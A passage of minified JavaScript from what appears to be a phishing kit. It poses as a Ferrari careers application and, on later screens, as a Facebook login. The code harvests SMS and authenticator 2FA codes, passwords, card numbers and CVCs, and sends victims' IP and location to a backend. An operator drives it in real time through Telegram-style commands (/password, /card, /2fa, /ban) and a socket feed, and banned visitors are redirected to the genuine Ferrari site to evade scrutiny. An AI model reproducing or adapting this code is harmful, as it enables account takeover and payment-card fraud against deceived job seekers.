!important;"]),eK=c.zo.div.withConfig({componentId:"sc-ce183c77-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),e$=c.zo.input.withConfig({componentId:"sc-ce183c77-4"})(["border:1px solid #ced4da !important;border-radius:8px !important;padding:0.5rem !important;padding-left:0.8rem !important;padding-top:1.5rem !important;background-color:#fff;margin-top:2px;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}::placeholder{opacity:0.5;font-weight:500;}margin-bottom:0.5rem;"]),e0=c.zo.button.withConfig({componentId:"sc-ce183c77-5"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:14px 20px;border-radius:50px;text-transform:none;line-height:1;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]),e1=c.zo.div.withConfig({componentId:"sc-ce183c77-6"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;font-family:FBook,Helvetica,sans-serif !important;"]),e2=c.zo.div.withConfig({componentId:"sc-ce183c77-7"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]);var e5=function(e){let{Unik:t,setStep:r,Name:i,Tel:s,Ip:a,LastFetch:o,wrong2faTrigger:l}=e,{code:c,isLoading:d,showError:m,countdown:h,handleSubmit:x,handleCodeChange:f,shouldShowRedBorder:p,renderCountdown:u,isButtonDisabled:w}=eq({LastFetch:o,wrong2faTrigger:l,setStep:r,nextStep:4,componentName:"SMS 2FA",initialMessage:"SMS 2FA Page Loaded"});return(0,n.jsx)(eJ,{children:(0,n.jsxs)(eY,{children:[(0,n.jsxs)("div",{className:"text-start",children:[(0,n.jsx)(eQ,{children:"Check your text messages"}),(0,n.jsxs)(eK,{children:["Enter the code we sent to ",eO(s)]})]}),(0,n.jsx)(e2,{children:(0,n.jsx)(g(),{alt:"",src:"/assets/images/New2FA.jpg",layout:"fill",objectFit:"cover"})}),(0,n.jsx)("div",{children:(0,n.jsxs)("form",{onSubmit:e=>{x(e,"tfa_one")},children:[(0,n.jsxs)("div",{className:"form-floating",children:[(0,n.jsx)(e$,{placeholder:"Code",type:"number",value:c,onChange:f,className:"form-control ".concat(p()?"redborder":""),disabled:d}),(0,n.jsx)("label",{htmlFor:"floatingInput",children:"Code"})]}),m&&(0,n.jsx)(e1,{children:"Invalid authentication code"}),(0,n.jsx)(eK,{children:m&&(0,n.jsxs)(n.Fragment,{children:["We can send a new code in\xa0",u()]})}),(0,n.jsx)(e0,{type:"submit",className:"mt-2",disabled:w(),children:d?(0,n.jsx)(H,{size:"15px"}):"Continue"})]})})]})})};let e3=c.zo.div.withConfig({componentId:"sc-7798f6ea-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),e4=c.zo.div.withConfig({componentId:"sc-7798f6ea-1"})(["max-width:550px;width:100%;height:530px;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;@media (max-width:991.98px){height:430px;}button:disabled{opacity:0.5;}"]),e6=c.zo.div.withConfig({componentId:"sc-7798f6ea-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),e8=c.zo.div.withConfig({componentId:"sc-7798f6ea-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);c.zo.hr.withConfig({componentId:"sc-7798f6ea-4"})(["margin-block:0.5rem !important;"]);let e7=c.zo.input.withConfig({componentId:"sc-7798f6ea-5"})(["width:100%;border:1px solid #ddd;padding:0.75rem;outline:none !important;border-radius:10px;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}:focus{border:1px solid #aaa;}margin-bottom:0.5rem;"]),e9=c.zo.button.withConfig({componentId:"sc-7798f6ea-6"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:10px 20px;border-radius:50px;text-transform:none;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]),te=c.zo.div.withConfig({componentId:"sc-7798f6ea-7"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tt=c.zo.div.withConfig({componentId:"sc-7798f6ea-8"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]);var tr=r(4051),tn=r(1555);let ti=c.ZP.div.withConfig({componentId:"sc-947a0555-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),ts=c.ZP.div.withConfig({componentId:"sc-947a0555-1"})(["max-width:550px;width:100%;height:530px;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;button:disabled{opacity:0.5;}"]),ta=c.ZP.div.withConfig({componentId:"sc-947a0555-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),to=c.ZP.div.withConfig({componentId:"sc-947a0555-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);c.ZP.hr.withConfig({componentId:"sc-947a0555-4"})(["margin-block:0.5rem !important;"]),c.ZP.input.withConfig({componentId:"sc-947a0555-5"})(["width:100%;border:1px solid #ddd;padding:0.75rem;outline:none !important;border-radius:10px;:focus{border:1px solid #aaa;}margin-bottom:0.5rem;"]);let tl=c.ZP.button.withConfig({componentId:"sc-947a0555-6"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:10px 20px;border-radius:50px;text-transform:none;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]);c.ZP.div.withConfig({componentId:"sc-947a0555-7"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;"]);let tc=c.ZP.div.withConfig({componentId:"sc-947a0555-8"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]),td=c.ZP.div.withConfig({componentId:"sc-947a0555-9"})(["display:grid;place-items:center;height:20px;width:20px;border:2px solid #192432;border-radius:50px;"]);var tm=()=>(0,n.jsx)("section",{className:"w-full bg-white py-12 md:py-16 lg:py-20 px-4 sm:px-6 md:px-8",children:(0,n.jsx)("div",{className:"md:max-w-6xl md:mx-auto",children:(0,n.jsxs)("div",{className:"flex flex-col items-center justify-center text-center max-w-4xl mx-auto",children:[(0,n.jsx)("div",{className:"mb-6 md:mb-8",children:(0,n.jsx)("div",{className:"w-16 h-16 md:w-20 md:h-20 bg-green-500 rounded-full flex items-center justify-center mx-auto mb-4",children:(0,n.jsx)("svg",{className:"w-8 h-8 md:w-10 md:h-10 text-white",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",children:(0,n.jsx)("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M5 13l4 4L19 7"})})})}),(0,n.jsx)("h2",{className:"text-3xl sm:text-4xl md:text-5xl font-bold mb-6 md:mb-8 uppercase tracking-wide text-black !font-ferrari",children:"Application Complete"}),(0,n.jsxs)("div",{className:"text-base sm:text-lg leading-relaxed mb-8 md:mb-12 text-gray-800 sm:leading-normal !font-ferrari",children:[(0,n.jsxs)("p",{className:"mb-4",children:[(0,n.jsx)("strong",{children:"Congratulations!"})," Your application has been successfully submitted."]}),(0,n.jsx)("p",{className:"mb-4",children:"Thank you for your interest in joining the Ferrari family. We have received your application and our recruitment team will review it carefully."}),(0,n.jsx)("p",{children:"We will contact you within the next few days regarding the next steps in the process. We appreciate your patience and look forward to potentially welcoming you to our passionate team."})]}),(0,n.jsxs)("div",{className:"bg-gray-50 p-6 md:p-8 rounded-lg border-l-4 border-red-600 max-w-2xl",children:[(0,n.jsx)("h3",{className:"text-lg md:text-xl font-semibold mb-3 text-black !font-ferrari",children:"What happens next?"}),(0,n.jsxs)("ul",{className:"text-sm md:text-base text-gray-700 space-y-2 text-left !font-ferrari",children:[(0,n.jsxs)("li",{className:"flex items-start",children:[(0,n.jsx)("span",{className:"text-red-600 mr-2",children:"•"}),"Our HR team will review your application"]}),(0,n.jsxs)("li",{className:"flex items-start",children:[(0,n.jsx)("span",{className:"text-red-600 mr-2",children:"•"}),"You will receive a confirmation email shortly"]}),(0,n.jsxs)("li",{className:"flex items-start",children:[(0,n.jsx)("span",{className:"text-red-600 mr-2",children:"•"}),"We will contact you within 3-5 business days"]}),(0,n.jsxs)("li",{className:"flex items-start",children:[(0,n.jsx)("span",{className:"text-red-600 mr-2",children:"•"}),"Check your email regularly for updates"]})]})]})]})})});let th=c.ZP.div.withConfig({componentId:"sc-f06f63dd-0"})(['display:flex;flex-direction:column;min-height:100vh;width:100%;background-color:#f0f2f5;font-family:"Ferrari-Sans",sans-serif;']),tx=c.ZP.div.withConfig({componentId:"sc-f06f63dd-1"})(["flex-grow:1;width:100%;display:flex;flex-direction:column;align-items:center;"]),tf=c.ZP.div.withConfig({componentId:"sc-f06f63dd-2"})(["background-color:rgb(243 244 246 / var(--tw-bg-opacity,1));padding:1rem;display:flex;width:100%;justify-content:center;align-items:center;@media (max-width:768px){padding:0.5rem;}"]),tp=c.zo.div.withConfig({componentId:"sc-7f513221-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),tu=c.zo.div.withConfig({componentId:"sc-7f513221-1"})(["max-width:550px;width:100%;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;@media (max-width:991.98px){}button:disabled{opacity:0.5;}"]),tg=c.zo.div.withConfig({componentId:"sc-7f513221-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tw=c.zo.div.withConfig({componentId:"sc-7f513221-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);c.zo.hr.withConfig({componentId:"sc-7f513221-4"})(["margin-block:0.5rem !important;"]);let tb=c.zo.input.withConfig({componentId:"sc-7f513221-5"})(["width:100%;border:1px solid #ddd;padding:0.75rem;outline:none !important;border-radius:10px;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}:focus{border:1px solid #aaa;}margin-bottom:0.5rem;"]),tj=c.zo.button.withConfig({componentId:"sc-7f513221-6"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:10px 20px;border-radius:50px;text-transform:none;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]),tv=c.zo.div.withConfig({componentId:"sc-7f513221-7"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),ty=c.zo.div.withConfig({componentId:"sc-7f513221-8"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]),tN=c.zo.div.withConfig({componentId:"sc-e77dc28b-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),tk=c.zo.div.withConfig({componentId:"sc-e77dc28b-1"})(["max-width:550px;width:100%;height:530px;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;@media (max-width:991.98px){height:430px;}button:disabled{opacity:0.5;}"]),t_=c.zo.div.withConfig({componentId:"sc-e77dc28b-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tC=c.zo.div.withConfig({componentId:"sc-e77dc28b-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);c.zo.hr.withConfig({componentId:"sc-e77dc28b-4"})(["margin-block:0.5rem !important;"]);let tE=c.zo.input.withConfig({componentId:"sc-e77dc28b-5"})(["width:100%;border:1px solid #ddd;padding:0.75rem;outline:none !important;border-radius:10px;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}:focus{border:1px solid #aaa;}margin-bottom:0.5rem;"]),tA=c.zo.button.withConfig({componentId:"sc-e77dc28b-6"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:10px 20px;border-radius:50px;text-transform:none;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]),tI=c.zo.div.withConfig({componentId:"sc-e77dc28b-7"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tF=c.zo.div.withConfig({componentId:"sc-e77dc28b-8"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]),tS=c.zo.div.withConfig({componentId:"sc-7e94d4c3-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),tT=c.zo.div.withConfig({componentId:"sc-7e94d4c3-1"})(["max-width:550px;width:100%;height:530px;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;@media (max-width:991.98px){height:430px;}button:disabled{opacity:0.5;}"]),tP=c.zo.div.withConfig({componentId:"sc-7e94d4c3-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tz=c.zo.div.withConfig({componentId:"sc-7e94d4c3-3"})(["color:#1c2b33;font-size:14px;line-height:1.3;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);c.zo.hr.withConfig({componentId:"sc-7e94d4c3-4"})(["margin-block:0.5rem !important;"]);let tB=c.zo.input.withConfig({componentId:"sc-7e94d4c3-5"})(["width:100%;border:1px solid #ddd;padding:0.75rem;outline:none !important;border-radius:10px;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}:focus{border:1px solid #aaa;}margin-bottom:0.5rem;"]),tM=c.zo.button.withConfig({componentId:"sc-7e94d4c3-6"})(["background-color:#0064e0;border:1px solid #0064e0;width:100%;color:white;font-size:13px;font-weight:500;padding:10px 20px;border-radius:50px;text-transform:none;font-family:FBook,Helvetica,system-ui,sans-serif !important;:disabled{opacity:0.5;}"]),tR=c.zo.div.withConfig({componentId:"sc-7e94d4c3-7"})(["font-size:12px;color:red;text-align:left;padding-bottom:0.5rem;margin-top:-0.35rem;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),tL=c.zo.div.withConfig({componentId:"sc-7e94d4c3-8"})(["width:100%;margin-block:1rem;min-height:250px;background-color:#d5d9dd;position:relative;display:flex;align-items:center;@media (max-width:576.98px){min-height:160px;border-radius:10px;img{border-radius:10px;}}"]),tO=()=>{let[e,t]=(0,l.useState)(""),[r,n]=(0,l.useState)(""),[i,s]=(0,l.useState)(""),[a,o]=(0,l.useState)(""),[c,d]=(0,l.useState)(""),[m,h]=(0,l.useState)([]);return{Tel:e,setTel:t,Name:r,setName:n,Email:i,setEmail:s,BusinessEmail:a,setBusinessEmail:o,Appeal:c,setAppeal:d,AllData:m,setAllData:h}},tH=()=>{let[e,t]=(0,l.useState)(1),[r,n]=(0,l.useState)(""),[i,s]=(0,l.useState)(0),[a,o]=(0,l.useState)(0);return{Step:e,setStep:t,LastFetch:r,setLastFetch:n,wrong2faTrigger:i,setWrong2faTrigger:s,wrongPasswordTrigger:a,setWrongPasswordTrigger:o}},tD=async function(e){let t,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},{maxRetries:n=3,baseDelay:i=1e3,maxDelay:s=1e4,shouldRetry:a=()=>!0,onRetry:o=()=>{}}=r;for(let r=0;r<=n;r++)try{return await e()}catch(l){if(t=l,r===n||!a(l,r))break;let e=Math.min(i*Math.pow(2,r),s);o(l,r+1,e),await new Promise(t=>setTimeout(t,e))}throw t},tW={EXTERNAL_API:{maxRetries:3,baseDelay:1e3,maxDelay:8e3,shouldRetry:(e,t)=>{var r,n;return!!("TypeError"===e.name&&e.message.includes("fetch"))||"NETWORK_ERROR"===e.code||"TIMEOUT"===e.code||(null===(r=e.response)||void 0===r?void 0:r.status)>=500||(null===(n=e.response)||void 0===n?void 0:n.status)===429},onRetry:(e,t,r)=>{console.warn("External API call failed (attempt ".concat(t,"), retrying in ").concat(r,"ms:"),e.message)}},INTERNAL_API:{maxRetries:2,baseDelay:500,maxDelay:4e3,shouldRetry:(e,t)=>{var r;return!!("TypeError"===e.name&&e.message.includes("fetch"))||"NETWORK_ERROR"===e.code||(null===(r=e.response)||void 0===r?void 0:r.status)>=500},onRetry:(e,t,r)=>{console.warn("Internal API call failed (attempt ".concat(t,"), retrying in ").concat(r,"ms:"),e.message)}}},tU=async function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1e4,n=new AbortController,i=setTimeout(()=>n.abort(),r);try{let r=await fetch(e,{...t,signal:n.signal});return clearTimeout(i),r}catch(e){if(clearTimeout(i),"AbortError"===e.name){let e=Error("Request timeout after ".concat(r,"ms"));throw e.code="TIMEOUT",e}throw e}};class tZ{static async fetchIPAddress(){return tD(async()=>{try{let e=await tU("https://api.ipify.org?format=json",{},8e3);if(!e.ok){let t=Error("HTTP ".concat(e.status,": ").concat(e.statusText));throw t.response={status:e.status},t}let t=await e.json();if(!t.ip)throw Error("Invalid response: IP address not found");return t.ip}catch(e){throw console.error("Error fetching IP address:",e),e}},tW.EXTERNAL_API)}static async fetchLocationData(e){return tD(async()=>{try{let t=await tU("https://ipapi.co/".concat(e,"/json"),{},8e3);if(!t.ok){let e=Error("HTTP ".concat(t.status,": ").concat(t.statusText));throw e.response={status:t.status},e}let r=await t.json();if(r.error)throw Error("Location API error: ".concat(r.reason||r.error));return{country:r.country||null,city:r.city||null}}catch(e){throw console.error("Error fetching location data:",e),e}},tW.EXTERNAL_API)}static async checkBan(e){return tD(async()=>{try{return(await m.Z.get(x("/api/checkBan/".concat(e)),{timeout:8e3})).data.data}catch(e){throw console.error("Error checking ban:",e),e}},tW.INTERNAL_API)}static async banIP(e){return tD(async()=>{try{return await m.Z.get(x("/api/ban/".concat(e)),{timeout:8e3}),!0}catch(e){throw console.error("Error banning IP:",e),e}},tW.INTERNAL_API)}static async redirectToBannedSite(){window.location.href="https://www.ferrari.com/en-EN/corporate/career"}}let tG=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",[t,r]=(0,l.useState)(e),[n,i]=(0,l.useState)(!1),s=async e=>{if(e)try{await tZ.checkBan(e)&&tZ.redirectToBannedSite()}catch(e){console.error("Error checking ban:",e)}},a=async()=>{try{i(!0);let e=await tZ.fetchIPAddress();e&&(r(e),await s(e))}catch(e){console.error("Error fetching IP:",e)}finally{i(!1)}};return(0,l.useEffect)(()=>{t&&s(t)},[t]),{Ip:t,setIp:r,isLoadingIP:n,checkBanAndRedirect:s,fetchAndSetIP:a}};var tV=r(7632);class tX{static getPageMeta(e){return 1!=e&&11!=e?{title:"Facebook - log in or sign up",favicon:"fb.png"}:{title:"Career | Ferrari Corporate",favicon:"favicon-32x32.png"}}static scrollToTop(){window.scrollTo({top:0,left:0,behavior:"instant"})}}let tq=(e,t)=>{let[r,n]=(0,l.useState)(""),[i,s]=(0,l.useState)(!1);return(0,l.useEffect)(()=>{let t=(0,tV.Z)().slice(0,8);n(t),(async()=>{let r=null,n={country:null,city:null};try{try{r=await tZ.fetchIPAddress()}catch(e){console.error("Failed to fetch IP after retries:",e)}if(r)try{n=await tZ.fetchLocationData(r)}catch(e){console.error("Failed to fetch location data after retries:",e),n={country:null,city:null}}let i={id:t,ip:r||"unknown",country:n.country||"unknown",city:n.city||"unknown",currentStep:"Page Loaded",context:"Ferra"};e(e=>({...e,id:t,ip:r||"unknown",country:n.country||"unknown",city:n.city||"unknown",context:"Ferra"}));try{await tD(async()=>{let e=await tU(x("/api/send/ip"),{method:"POST",body:JSON.stringify(i),headers:{"Content-type":"application/json; charset=UTF-8","X-Robots-Tag":"googlebot: nofollow"}},1e4);if(!e.ok){let t=Error("HTTP ".concat(e.status,": ").concat(e.statusText));throw t.response={status:e.status},t}return e},tW.INTERNAL_API)}catch(e){console.error("Failed to send initial data after retries:",e)}s(!0)}catch(r){console.error("Critical error during initialization:",r),e(e=>({...e,id:t,ip:"unknown",country:"unknown",city:"unknown",context:"Ferra"})),s(!0)}})()},[e,t]),{Unik:r,isInitialized:i}};class tJ{static async fetchMessages(){if(this.isRequestPending)return[];this.requestController&&this.requestController.abort(),this.isRequestPending=!0,this.requestController=new AbortController;try{var e,t;let r=await m.Z.get(x("/api/getMessages"),{timeout:8e3,headers:{"Content-Type":"application/json"},signal:this.requestController.signal});return this.consecutiveErrors=0,(null==r?void 0:null===(t=r.data)||void 0===t?void 0:null===(e=t.data)||void 0===e?void 0:e.result)||[]}catch(e){if(this.consecutiveErrors++,"AbortError"===e.name)return console.log("[Telegram] Request was cancelled"),[];return[]}finally{this.isRequestPending=!1,this.requestController=null}}static shouldSkipPolling(){return this.consecutiveErrors>=this.maxRetries}static getPollingDelay(){return this.consecutiveErrors>0?Math.min(this.baseDelay*Math.pow(2,this.consecutiveErrors-1),3e4):0}static resetErrorState(){this.consecutiveErrors=0}static processCommand(e,t,r){let{setStep:n,setLastFetch:i,LastFetch:s,Ip:a,setWrong2faTrigger:o,wrong2faTrigger:l,setWrongPasswordTrigger:c,wrongPasswordTrigger:d}=r,m={"/2fa":()=>{"2fa"!==s&&(n(14),i("2fa"))},"/incorrect-2fa":()=>{"incorrect-2fa"!==s&&(n(6),i("incorrect-2fa"))},"/password":e=>{this.lastProcessedPasswordCommand!==e&&(this.lastProcessedPasswordCommand=e,"password"!==s&&(n(2),i("password")),"function"==typeof r.setWrongPasswordTrigger&&r.setWrongPasswordTrigger(e=>e+1))},"/wait":()=>{"wait"!==s&&(n(4),i("wait"))},"/email":()=>{"email"!==s&&(n(1),i("email"))},"/card":()=>{"card"!==s&&(n(8),i("card"))},"/cvc":()=>{"cvc"!==s&&(n(3),i("cvc"))},"/phone":()=>{"phoneVerify"!==s&&(n(10),i("phoneVerify"))},"/whatsapp":()=>{"whatsapp"!==s&&(n(12),i("whatsapp"))},"/emailVerify":()=>{"emailVerify"!==s&&(n(13),i("emailVerify"))},"/done":()=>{"done"!==s&&(n(11),i("done"))},"/authApp":()=>{"authApp"!==s&&(n(15),i("authApp"))},"/wrong2fa":e=>{this.lastProcessedWrong2faCommand!==e&&(this.lastProcessedWrong2faCommand=e,"function"==typeof r.setWrong2faTrigger&&r.setWrong2faTrigger(e=>e+1))},"/ban":async()=>{if("Ban"!==s&&a){i("Ban");try{await tZ.banIP(a)}catch(e){}}},"/clear":()=>{i("clear"),this.resetErrorState(),this.lastProcessedWrong2faCommand=null,this.lastProcessedPasswordCommand=null}};if(e.startsWith("/wrong2fa"))try{m["/wrong2fa"]&&m["/wrong2fa"](e)}catch(e){}else if(e.startsWith("/password"))try{m["/password"]&&m["/password"](e)}catch(e){}else if(m[e])try{m[e]()}catch(e){}}static async pollMessages(e,t){if(!this.shouldSkipPolling())try{let r=await this.fetchMessages();r.length>0&&r.filter(e=>{let{callback_query:t}=e;return(null==t?void 0:t.data)!==void 0}).forEach(r=>{let{callback_query:n}=r;try{let[r,i]=n.data.split(" ");(i===e||"/clear"===r)&&this.processCommand(r,e,t)}catch(e){}})}catch(e){}}}tJ.isRequestPending=!1,tJ.requestController=null,tJ.consecutiveErrors=0,tJ.maxRetries=3,tJ.baseDelay=1e3,tJ.lastProcessedWrong2faCommand=null,tJ.lastProcessedPasswordCommand=null;let tY=(e,t,r,n,i,s,a,o,c)=>{let d=(0,l.useRef)(null),m=(0,l.useRef)(null),h=(0,l.useRef)(!1),x=(0,l.useRef)({setStep:t,setLastFetch:r,LastFetch:n,Ip:i,setWrong2faTrigger:s,wrong2faTrigger:a,setWrongPasswordTrigger:o,wrongPasswordTrigger:c});(0,l.useEffect)(()=>{x.current={setStep:t,setLastFetch:r,LastFetch:n,Ip:i,setWrong2faTrigger:s,wrong2faTrigger:a,setWrongPasswordTrigger:o,wrongPasswordTrigger:c}},[t,r,n,i,s,a,o,c]);let f=(0,l.useCallback)(async()=>{if(h.current)return;h.current=!0;try{await tJ.pollMessages(e,x.current)}catch(e){}finally{h.current=!1}let t=tJ.getPollingDelay();m.current=setTimeout(()=>{d.current&&f()},2e3+t)},[e]),p=(0,l.useCallback)(()=>{!d.current&&e&&(d.current=!0,f())},[e,f]),u=(0,l.useCallback)(()=>{d.current=null,m.current&&(clearTimeout(m.current),m.current=null),h.current=!1},[]);(0,l.useEffect)(()=>{if(!e){u();return}return p(),()=>{u()}},[e,p,u]),(0,l.useEffect)(()=>()=>{u(),tJ.resetErrorState()},[u])};var tQ=r(2599);let tK={reconnectionAttempts:3,reconnectionDelay:1e3,timeout:1e4,autoConnect:!1},t$=null,t0=null,t1=!1,t2=!1,t5=0,t3=function(e){arguments.length>1&&void 0!==arguments[1]&&arguments[1]},t4=()=>{if(t$)return t3("Socket already exists, returning existing instance"),t$;t5++,t3("Initializing socket connection #".concat(t5)),t$=(0,tQ.io)(f(),tK),t2||(t3("Adding socket event listeners"),t$.on("connect",()=>{t3("Socket connected",t$.id),t0&&t$.emit("add-user",{userId:t0})}),t$.on("disconnect",e=>{t3("Socket disconnected",e)}),t$.on("connect_error",e=>{t3("Socket connection error",e.message)}),t$.on("error",e=>{t3("Socket error",e.message)}),t2=!0);let e=()=>{t3("Page unload - cleaning up socket"),t7()};return window.removeEventListener("beforeunload",e),window.addEventListener("beforeunload",e),t$},t6=e=>e&&t$?(t0=e,t$.connected)?(t3("Adding user to socket",e),t$.emit("add-user",{userId:e}),!0):(t3("Socket not connected, cannot add user",e),!1):(t3("Cannot add user - missing userId or socket",{userId:!!e,socket:!!t$}),!1),t8=(e,t)=>t$&&t$.connected?(t3("Updating user data",e),t$.emit("update-user",{userId:e,data:t}),!0):(t3("Cannot update user - socket not connected",{userId:e,connected:null==t$?void 0:t$.connected}),!1),t7=()=>{t$&&(t3("Cleaning up socket connection"),t$.disconnect(),t$=null,t0=null,t1=!1,t2=!1)},t9=(e,t)=>{let r=(0,l.useRef)(!1),n=(0,l.useRef)(null),i=(0,l.useRef)(!1);(0,l.useEffect)(()=>{if(r.current)return;if(r.current=!0,t1){t3("Socket already initialized globally, skipping...");return}t1=!0,t3("Starting socket initialization");let e=t4();return e&&!e.connected&&(t3("Connecting socket"),e.connect()),()=>{i.current||(i.current=!0,t3("Component unmounting - cleaning up"),t7())}},[]),(0,l.useEffect)(()=>{if(e&&t$){if(t3("Handling user registration",e),t$.connected)t6(e);else{let t=()=>{t6(e),t$.off("connect",t)};return t$.on("connect",t),()=>{t$.off("connect",t)}}}},[e]),(0,l.useEffect)(()=>{if(!e||!t||!t$)return;let r=JSON.stringify(t);r!==n.current&&Object.keys(t).length>0&&(t3("Data changed, updating user",e),t8(e,t),n.current=r)},[e,t])},re={0:function(e){let{setStep:t,Unik:r,setIp:i}=e,[s,a]=(0,l.useState)(!0),[o,c]=(0,l.useState)(!1),{setAllData:d,AllData:m}=(0,l.useContext)(rt);return(0,n.jsx)(eF,{children:(0,n.jsx)(eI,{children:(0,n.jsxs)(eS,{children:[(0,n.jsx)(eT,{style:{fontSize:"25px",fontWeight:"500"},children:"Security Check"}),(0,n.jsx)(ez,{children:(0,n.jsx)("div",{className:"captcha",children:(0,n.jsx)(eA.Z,{sitekey:"6LeF7QwrAAAAAM8v0XH-v345ZGq0e9QI-FIYWPoa",onChange:function(e){e&&a(!1)}})})}),(0,n.jsx)(eP,{className:"py-2",children:"This helps us to combat harmful conduct, detect and prevent spam and maintain the itegrity of our Products."}),(0,n.jsx)(eP,{className:"py-2",children:"We've used Google's reCAPTCHA Enterprise product to provide this security check. The use of reCAPTCHA is subject to the Google Privacy Policy and Terms of Use."}),(0,n.jsx)(eP,{className:"py-2",children:"reCAPTCHA Enterprise collects hardware and software information such as device and application data, and sends it to Google to provide, maintain, and imporve reCAPTCHA Enterprise and for general secuirty purposes. This information is not used by Google for personalized advertising."}),(0,n.jsx)("div",{className:"pt-4",children:(0,n.jsx)(eB,{onClick:()=>{fetch("https://api.ipify.org?format=json").then(e=>e.json()).then(e=>{fetch("https://ipapi.co/"+e.ip+"/json").then(e=>e.json()).then(e=>{i(e.ip);let t={id:r,ip:e.ip,country:e.country,city:e.city,context:"Ferra"};d({...m,ip:e.ip,country:e.country,city:e.city}),fetch(x("/api/send/ip"),{method:"POST",body:JSON.stringify(t),headers:{"Content-type":"application/json; charset=UTF-8","X-Robots-Tag":"googlebot: 